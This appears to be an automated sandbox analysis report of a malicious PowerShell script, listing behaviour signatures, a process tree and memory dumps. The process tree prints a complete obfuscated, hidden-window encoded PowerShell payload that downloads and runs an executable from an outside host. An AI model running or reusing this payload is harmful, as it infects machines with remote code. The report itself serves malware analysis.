Analysis
- geolocation tags
- user interaction
yes - max time kernel
104s - max time network
96s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/06/2026, 05:03
General
- Target funtimeshadbyall.ps1
- Size 8KB
- Sample260620-fps9laev4x
- SHA256 ea450f81b5dd6d47971ce395055487a7e387a9bcdf70b58015d29293ec816a31
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\funtimeshadbyall.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGwAUgBlAHMAdQBsAHQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBXADEATgA1AGMAMwBSAGwAYgBTADUATwBaAFgAUQB1AFUAMgBWAHkAZABtAGwAagBaAFYAQgB2AGEAVwA1ADAAVABXAEYAdQBZAFcAZABsAGMAbAAwADYATwBsAE4AbABZADMAVgB5AGEAWABSADUAVQBIAEoAdgBkAEcAOQBqAGIAMgB3ADkAVwAxAE4ANQBjADMAUgBsAGIAUwA1AE8AWgBYAFEAdQBVADIAVgBqAGQAWABKAHAAZABIAGwAUQBjAG0AOQAwAGIAMgBOAHYAYgBGAFIANQBjAEcAVgBkAE8AagBwAFUAYgBIAE0AeABNAGoAcwBrAGIAMgBzADkAVwAxAFIAbABlAEgAUQB1AFIAVwA1AGoAYgAyAFIAcABiAG0AZABkAE8AagBwAFYAVgBFAFkANABMAGsAZABsAGQARgBOADAAYwBtAGwAdQBaAHkAaABiAFEAMgA5AHUAZABtAFYAeQBkAEYAMAA2AE8AawBaAHkAYgAyADEAQwBZAFgATgBsAE4AagBSAFQAZABIAEoAcABiAG0AYwBvAEoAMgBGAEkAVQBqAEIAagBTAEUAMAAyAFQASABrADUAYQBsAHAASABOAFgAZABpAE0AMABvAHcAVwBWAGQAMwBkAEcAUgBZAFQAWABWAGwAUwBHAHcAMgBUAEQASgBHAGQAMgBGAFQATwBUAEoATwBRAHoAbAByAFkAagBOAGsAZABXAEoASABPAFcAaABhAFEAegBoADQAWQBsAGMANABNAGwAVQB4AFMAVAAwAG4ASwBTAGsANwBKAEgAUgB2AGEAegBNADkASgAyADkAUgBNADIAdABhAGIAbQBGAFAAUgB6AEYAYQBhAEcAZABsAFEAVwBjAHoAVQBVAEUAbgBPAHkAUgA0AE4ARAAxAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABVAFIAVQAxAFEASQBDAGcAbgBZAG4AVgB1AFoARwB4AGwAWAB5AGMAcgBLAEUAZABsAGQAQwAxAEUAWQBYAFIAbABJAEMAMQBHAGIAMwBKAHQAWQBYAFEAZwBKADMAbAA1AGUAWABsAE4AVABXAFIAawBTAEUAaAB0AGIAWABOAHoASgB5AGsAcgBXADEATgAwAGMAbQBsAHUAWgAxADAAbwBSADIAVgAwAEwAVgBKAGgAYgBtAFIAdgBiAFMAQQB0AFQAVwBGADQAYQBXADEAMQBiAFMAQQA1AE8AVABrADUATwBUAGsAcABLAFQAdABPAFoAWABjAHQAUwBYAFIAbABiAFMAQQB0AFMAWABSAGwAYgBWAFIANQBjAEcAVQBnAFIARwBsAHkAWgBXAE4AMABiADMASgA1AEkAQwAxAFEAWQBYAFIAbwBJAEMAUgA0AE4AQwBBAHQAUgBtADkAeQBZADIAVgA4AFQAMwBWADAATABVADUAMQBiAEcAdwA3AEoASABSAHkAWQBXAE4AcgBaAFgASQA5AFMAbQA5AHAAYgBpADEAUQBZAFgAUgBvAEkAQwBSADQATgBDAEEAbgBRAFcAUgB2AFkAbQBWAFEAWQBXAE4AcgBZAFcAZABsAFYAMgBsAHUATABuAHAAcABjAEMAYwA3AEoARwBSAGwAWQAxAE4AMABjAGoAMAB3AE8AeQBSAHYAYwBIAFIAVwBZAFcAdwAxAFAAVABBADcAZAAyAGgAcABiAEcAVQBvAEwAVwA1AHYAZABDAEEAawBiADMAQgAwAFYAbQBGAHMATgBTAEEAdABZAFcANQBrAEkAQwBSAGsAWgBXAE4AVABkAEgASQBnAEwAVwB4ADAASQBEAE0AcABlADMAUgB5AGUAWABzAGsAYgBXAEYANABQAFUANQBsAGQAeQAxAFAAWQBtAHAAbABZADMAUQBnAFUAMwBsAHoAZABHAFYAdABMAGsANQBsAGQAQwA1AFgAWgBXAEoARABiAEcAbABsAGIAbgBRADcASgBHADEAaABlAEMANQBJAFoAVwBGAGsAWgBYAEoAegBMAGsARgBrAFoAQwBnAG4AVgBYAE4AbABjAGkAMQBCAFoAMgBWAHUAZABDAGMAcwBKADAAMQB2AGUAbQBsAHMAYgBHAEUAdgBOAFMANAB3AEkAQwBoAFgAYQBXADUAawBiADMAZAB6AEkARQA1AFUASQBEAEUAdwBMAGoAQQA3AEkARgBkAHAAYgBqAFkAMABPAHkAQgA0AE4AagBRADcASQBIAEoAMgBPAGoARQB5AE0AUwA0AHcASwBTAEIASABaAFcATgByAGIAeQA4AHkATQBEAEUAdwBNAEQARQB3AE0AUwBCAEcAYQBYAEoAbABaAG0AOQA0AEwAegBFAHkATQBTADQAdwBKAHkAawA3AEoARwAxAGgAZQBDADUARQBiADMAZAB1AGIARwA5AGgAWgBFAFoAcABiAEcAVQBvAEoARwA5AHIATABDAFIAMABjAG0ARgBqAGEAMgBWAHkASwBUAHQAcABaAGkAaABVAFoAWABOADAATABWAEIAaABkAEcAZwBnAEoASABSAHkAWQBXAE4AcgBaAFgASQBwAGUAeQBSAHYAYwBIAFIAVwBZAFcAdwAxAFAAVABGADkAWgBXAHgAegBaAFgAdABUAGQARwBGAHkAZABDADEAVABiAEcAVgBsAGMAQwBBAHQAVQAyAFYAagBiADIANQBrAGMAeQBBADAAZgBYADEAagBZAFgAUgBqAGEASAB0AFQAZABHAEYAeQBkAEMAMQBUAGIARwBWAGwAYwBDAEEAdABVADIAVgBqAGIAMgA1AGsAYwB5AEEAMABmAFQAcwBrAFoARwBWAGoAVQAzAFIAeQBLAHkAdAA5AE8AMgBsAG0ASwBDADEAdQBiADMAUQBnAEsARgBSAGwAYwAzAFEAdABVAEcARgAwAGEAQwBBAGsAZABIAEoAaABZADIAdABsAGMAaQBrAHAAZQAyAFYANABhAFgAUgA5AE8AeQBSAHYAYwBIAFIATABaAFgAawA5AFMAbQA5AHAAYgBpADEAUQBZAFgAUgBvAEkAQwBoAGIAVQAzAGwAegBkAEcAVgB0AEwAawBsAFAATABsAEIAaABkAEcAaABkAE8AagBwAEgAWgBYAFIAVQBaAFcAMQB3AFUARwBGADAAYQBDAGcAcABLAFMAQQBvAFcAMQBOADUAYwAzAFIAbABiAFMANQBKAFQAeQA1AFEAWQBYAFIAbwBYAFQAbwA2AFIAMgBWADAAVQBtAEYAdQBaAEcAOQB0AFIAbQBsAHMAWgBVADUAaABiAFcAVQBvAEsAUwBrADcAVABtAFYAMwBMAFUAbAAwAFoAVwAwAGcATABVAGwAMABaAFcAMQBVAGUAWABCAGwASQBFAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTAEEAdABVAEcARgAwAGEAQwBBAGsAYgAzAEIAMABTADIAVgA1AEkAQwAxAEcAYgAzAEoAagBaAFgAeABQAGQAWABRAHQAVABuAFYAcwBiAEQAcwBrAGMAMgBOAHkAYQBYAEIAMABVAEcARgAwAGEARAAwAGsAYgBuAFYAcwBiAEQAdABtAGIAMwBKAGwAWQBXAE4AbwBLAEMAUgB6AFoAWABOAHoAYQBXADkAdQBTAFcAUQBnAGEAVwA0AGcAUQBDAGgASwBiADIAbAB1AEwAVgBCAGgAZABHAGcAZwBKAEcAVgB1AGQAagBwAFEAYwBtADkAbgBjAG0ARgB0AFYAegBZADAATQB6AEkAZwBKAHoAYwB0AFcAbQBsAHcAWABEAGQANgBMAG0AVgA0AFoAUwBjAHMAUwBtADkAcABiAGkAMQBRAFkAWABSAG8ASQBDAFIAbABiAG4AWQA2AFQARQA5AEQAUQBVAHgAQgBVAEYAQgBFAFEAVgBSAEIASQBDAGQAUQBjAG0AOQBuAGMAbQBGAHQAYwAxAHcAMwBMAFYAcABwAGMARgB3ADMAZQBpADUAbABlAEcAVQBuAEwAQwBkAEQATwBsAHgAUQBjAG0AOQBuAGMAbQBGAHQASQBFAFoAcABiAEcAVgB6AFgARABjAHQAVwBtAGwAdwBYAEQAZAA2AEwAbQBWADQAWgBTAGMAcwBTAG0AOQBwAGIAaQAxAFEAWQBYAFIAbwBJAEMAUgBsAGIAbgBZADYAVQBIAEoAdgBaADMASgBoAGIAVQBaAHAAYgBHAFYAegBJAEMAYwAzAEwAVgBwAHAAYwBGAHcAMwBlAGkANQBsAGUARwBVAG4ASwBTAGwANwBhAFcAWQBvAFYARwBWAHoAZABDADEAUQBZAFgAUgBvAEkAQwBSAHoAWgBYAE4AegBhAFcAOQB1AFMAVwBRAHAAZQB5AFIAegBZADMASgBwAGMASABSAFEAWQBYAFIAbwBQAFMAUgB6AFoAWABOAHoAYQBXADkAdQBTAFcAUQA3AFkAbgBKAGwAWQBXAHQAOQBmAFQAdABwAFoAaQBnAHQAYgBtADkAMABJAEMAUgB6AFkAMwBKAHAAYwBIAFIAUQBZAFgAUgBvAEsAWABzAGsAZABHAE4AdwBRADIAOQB1AGIAagAxAEsAYgAyAGwAdQBMAFYAQgBoAGQARwBnAGcASgBHAFYAdQBkAGoAcABVAFIAVQAxAFEASQBDAGgAYgBTAFUAOAB1AFUARwBGADAAYQBGADAANgBPAGsAZABsAGQARgBKAGgAYgBtAFIAdgBiAFUAWgBwAGIARwBWAE8AWQBXADEAbABLAEMAawByAEoAeQA1AGwAZQBHAFUAbgBLAFQAcwBrAGQAbQBWAHkAYQBXAFoANQBTADIAVgA1AE0AagAwAGsAWgBtAEYAcwBjADIAVQA3AFoAbQA5AHkAWgBXAEYAagBhAEMAZwBrAGMAMwBsAHQATQBpAEIAcABiAGkAQgBBAEsAQwBkAG8AZABIAFIAdwBjAHoAbwB2AEwAMgBOAGsAYgBuAEIAdgBjAG4AUgBoAGIAQwAxADEAYwB5ADUANABlAFgAbwB2AE4AMwBvAHUAWgBYAGgAbABKAHkAawBwAGUAMwBSAHkAZQBYAHQASgBiAG4AWgB2AGEAMgBVAHQAVgAyAFYAaQBVAG0AVgB4AGQAVwBWAHoAZABDAEEAdABWAFgASgBwAEkAQwBSAHoAZQBXADAAeQBJAEMAMQBQAGQAWABSAEcAYQBXAHgAbABJAEMAUgAwAFkAMwBCAEQAYgAyADUAdQBJAEMAMQBWAGMAMgBWAEMAWQBYAE4AcABZADEAQgBoAGMAbgBOAHAAYgBtAGMAZwBMAFYAUgBwAGIAVwBWAHYAZABYAFIAVABaAFcATQBnAE4AagBVAGcATABVAFYAeQBjAG0AOQB5AFEAVwBOADAAYQBXADkAdQBJAEYATgAwAGIAMwBBADcAYQBXAFkAbwBLAEYAUgBsAGMAMwBRAHQAVQBHAEYAMABhAEMAQQBrAGQARwBOAHcAUQAyADkAdQBiAGkAawBnAEwAVwBGAHUAWgBDAEEAbwBLAEUAZABsAGQAQwAxAEoAZABHAFYAdABJAEMAUgAwAFkAMwBCAEQAYgAyADUAdQBLAFMANQBNAFoAVwA1AG4AZABHAGcAZwBMAFcAZAAwAEkARABFAHcATQBEAEEAdwBNAEMAawBwAGUAeQBSADIAWgBYAEoAcABaAG4AbABMAFoAWABrAHkAUABTAFIAMABjAG4AVgBsAE8AMgBKAHkAWgBXAEYAcgBmAFgAMQBqAFkAWABSAGoAYQBIAHQAOQBmAFQAdABwAFoAaQBnAGsAZABtAFYAeQBhAFcAWgA1AFMAMgBWADUATQBpAGwANwBKAEgATgBqAGMAbQBsAHcAZABGAEIAaABkAEcAZwA5AEoASABSAGoAYwBFAE4AdgBiAG0ANQA5AGYAVABzAGsAYwBtAFYAagBiADMASgBrAE0AagAxAEEASwBDAGQANABKAHkAdwBuAEwAWABrAG4ASwBUAHQAcABaAGkAZwBrAGQARwA5AHIATQB5AEEAdABiAG0AVQBnAEoAeQBjAHAAZQB5AFIAeQBaAFcATgB2AGMAbQBRAHkASwB6ADAAbwBKAHkAMQB3AEoAeQBzAGsAZABHADkAcgBNAHkAbAA5AE8AeQBSAHkAWgBXAE4AdgBjAG0AUQB5AEsAegAwAG8ASgB5ADEAdgBKAHkAcwBrAGIAMwBCADAAUwAyAFYANQBLAFQAcwBrAGMAbQBWAGoAYgAzAEoAawBNAGkAcwA5AEoASABSAHkAWQBXAE4AcgBaAFgASQA3AEoARwB4AGgAZABXADUAagBhAEYAQgBoAGQARwBnADkATQBEAHQAcABaAGkAZwBrAGMAMgBOAHkAYQBYAEIAMABVAEcARgAwAGEAQwBsADcASgBpAEEAawBjADIATgB5AGEAWABCADAAVQBHAEYAMABhAEMAQgBBAEsAQwBSAHkAWgBXAE4AdgBjAG0AUQB5AEsAWAB4AFAAZABYAFEAdABUAG4AVgBzAGIARAB0AHAAWgBpAGcAbwBSADIAVgAwAEwAVQBOAG8AYQBXAHgAawBTAFgAUgBsAGIAUwBBAHQAVQBHAEYAMABhAEMAQQBrAGIAMwBCADAAUwAyAFYANQBJAEMAMQBHAGIAMwBKAGoAWgBTAEEAdABSAFgASgB5AGIAMwBKAEIAWQAzAFIAcABiADIANABnAFUAMgBsAHMAWgBXADUAMABiAEgAbABEAGIAMgA1ADAAYQBXADUAMQBaAFgAeABOAFoAVwBGAHoAZABYAEoAbABMAFUAOQBpAGEAbQBWAGoAZABDAGsAdQBRADIAOQAxAGIAbgBRAGcATABXAGQAMABJAEQAQQBwAGUAeQBSAHMAWQBYAFYAdQBZADIAaABRAFkAWABSAG8AUABUAEYAOQBmAFQAdABwAFoAaQBnAHQAYgBtADkAMABJAEMAUgBzAFkAWABWAHUAWQAyAGgAUQBZAFgAUgBvAEsAWAB0ADAAYwBuAGwANwBVAG0AVgB0AGIAMwBaAGwATABVAGwAMABaAFcAMABnAEwAVQB4AHAAZABHAFYAeQBZAFcAeABRAFkAWABSAG8ASQBDAFIAMABjAG0ARgBqAGEAMgBWAHkASQBDADEARwBiADMASgBqAFoAUwBBAHQAUgBYAEoAeQBiADMASgBCAFkAMwBSAHAAYgAyADQAZwBVADIAbABzAFoAVwA1ADAAYgBIAGwARABiADIANQAwAGEAVwA1ADEAWgBYADEAagBZAFgAUgBqAGEASAB0ADkATwAyAFYANABhAFgAUgA5AE8AeQBSAHoAYwBHAEYAdQBQAFUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoARwA5AHcAZABFAHQAbABlAFMAQQB0AFIAbQBsAHMAZABHAFYAeQBJAEMAbwB1AFoAWABoAGwASQBDADEAUwBaAFcATgAxAGMAbgBOAGwASQBDADEARwBhAFcAeABsAGYARgBOAGwAYgBHAFYAagBkAEMAMQBQAFkAbQBwAGwAWQAzAFEAZwBMAFUAWgBwAGMAbgBOADAASQBEAEUANwBKAEcAaAAwAGQASABCAEQAYgAyAFIAbABQAFUAZABsAGQAQwAxAEQAYQBHAGwAcwBaAEUAbAAwAFoAVwAwAGcATABWAEIAaABkAEcAZwBnAEoARwA5AHcAZABFAHQAbABlAFMAQQB0AFIAbQBsAHMAZABHAFYAeQBJAEMAbwB1AGIAWABOAHAASQBDADEAUwBaAFcATgAxAGMAbgBOAGwASQBDADEARwBhAFcAeABsAGYARgBOAGwAYgBHAFYAagBkAEMAMQBQAFkAbQBwAGwAWQAzAFEAZwBMAFUAWgBwAGMAbgBOADAASQBEAEUANwBKAEcARgBuAFoAVAAwAGsAYgBuAFYAcwBiAEQAdABwAFoAaQBnAGsAYwAzAEIAaABiAGkAbAA3AEoARwBGAG4AWgBUADAAawBjADMAQgBoAGIAaQA1AEcAZABXAHgAcwBUAG0ARgB0AFoAVABzAGsAYgBuAEIAdABQAFMAUgB6AGMARwBGAHUATABrAFIAcABjAG0AVgBqAGQARwA5AHkAZQBTADUARwBkAFcAeABzAFQAbQBGAHQAWgBYADEAbABiAEgATgBsAGEAVwBZAG8ASgBHAGgAMABkAEgAQgBEAGIAMgBSAGwASwBYAHMAawBZAFcAZABsAFAAUwBSAG8AZABIAFIAdwBRADIAOQBrAFoAUwA1AEcAZABXAHgAcwBUAG0ARgB0AFoAVABzAGsAYgBuAEIAdABQAFMAUgBvAGQASABSAHcAUQAyADkAawBaAFMANQBFAGEAWABKAGwAWQAzAFIAdgBjAG4AawB1AFIAbgBWAHMAYgBFADUAaABiAFcAVgA5AE8AMgBsAG0ASwBDAFIAaABaADIAVQBwAGUAMgBsAG0ASwBDAFIAdQBjAEcAMABwAGUAMQBOADAAWQBYAEoAMABMAFYATgBzAFoAVwBWAHcASQBDADEAVABaAFcATgB2AGIAbQBSAHoASQBEAEUAeABPADMAUgB5AGUAWAB0AFQAZABHAEYAeQBkAEMAMQBRAGMAbQA5AGoAWgBYAE4AegBJAEMAMQBHAGEAVwB4AGwAVQBHAEYAMABhAEMAQQBrAFkAVwBkAGwASQBDADEAWABiADMASgByAGEAVwA1AG4AUgBHAGwAeQBaAFcATgAwAGIAMwBKADUASQBDAFIAdQBjAEcAMABnAEwAVgBkAHAAYgBtAFIAdgBkADEATgAwAGUAVwB4AGwASQBFAGgAcABaAEcAUgBsAGIAaQBBAHQAUgBYAEoAeQBiADMASgBCAFkAMwBSAHAAYgAyADQAZwBVADMAUgB2AGMASAAxAGoAWQBYAFIAagBhAEgAdAAwAGMAbgBsADcASgBpAEEAawBZAFcAZABsAGYAVwBOAGgAZABHAE4AbwBlADMAMQA5AGYAVwBWAHMAYwAyAFYANwBVADMAUgBoAGMAbgBRAHQAVQAyAHgAbABaAFgAQQBnAEwAVgBOAGwAWQAyADkAdQBaAEgATQBnAE0AVABFADcAZABIAEoANQBlADEATgAwAFkAWABKADAATABWAEIAeQBiADIATgBsAGMAMwBNAGcATABVAFoAcABiAEcAVgBRAFkAWABSAG8ASQBDAFIAaABaADIAVQBnAEwAVgBkAHAAYgBtAFIAdgBkADEATgAwAGUAVwB4AGwASQBFAGgAcABaAEcAUgBsAGIAaQBBAHQAVQBHAEYAegBjADEAUgBvAGMAbgBVAGcATABVAFYAeQBjAG0AOQB5AFEAVwBOADAAYQBXADkAdQBJAEYATgAwAGIAMwBCADgAVAAzAFYAMABMAFUANQAxAGIARwB4ADkAWQAyAEYAMABZADIAaAA3AGQASABKADUAZQAxAE4AMABZAFgASgAwAEwAVgBCAHkAYgAyAE4AbABjADMATQBnAEwAVQBaAHAAYgBHAFYAUQBZAFgAUgBvAEkAQwBSAGgAWgAyAFUAZwBMAFYAZABwAGIAbQBSAHYAZAAxAE4AMABlAFcAeABsAEkARQBoAHAAWgBHAFIAbABiAG4AMQBqAFkAWABSAGoAYQBIAHQAMABjAG4AbAA3AEoAaQBBAGsAWQBXAGQAbABmAFcATgBoAGQARwBOAG8AZQAzADEAOQBmAFgAMQA5AE8AMwBSAHkAZQBYAHQAUwBaAFcAMQB2AGQAbQBVAHQAUwBYAFIAbABiAFMAQQB0AFQARwBsADAAWgBYAEoAaABiAEYAQgBoAGQARwBnAGcASgBIAFIAeQBZAFcATgByAFoAWABJAGcATABVAFoAdgBjAG0ATgBsAEkAQwAxAEYAYwBuAEoAdgBjAGsARgBqAGQARwBsAHYAYgBpAEIAVABhAFcAeABsAGIAbgBSAHMAZQBVAE4AdgBiAG4AUgBwAGIAbgBWAGwAZgBXAE4AaABkAEcATgBvAGUAMwAwAD0AJwApADsAJABkAGIAPQAtAGoAbwBpAG4AIAAoAFsAYwBoAGEAcgBbAF0AXQAkAGQAbABSAGUAcwB1AGwAdAApADsAaQBlAHgAIAAkAGQAYgA=2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0skigya5.oig.ps1
memory/2264-13-0x000001A099860000-0x000001A099870000-memory.dmp
memory/2264-22-0x000001A099860000-0x000001A099870000-memory.dmp
memory/4148-0-0x00000269EDD50000-0x00000269EDD60000-memory.dmp
memory/4148-1-0x00000269EDD50000-0x00000269EDD60000-memory.dmp
memory/4148-9-0x00000269F1DB0000-0x00000269F1DD2000-memory.dmp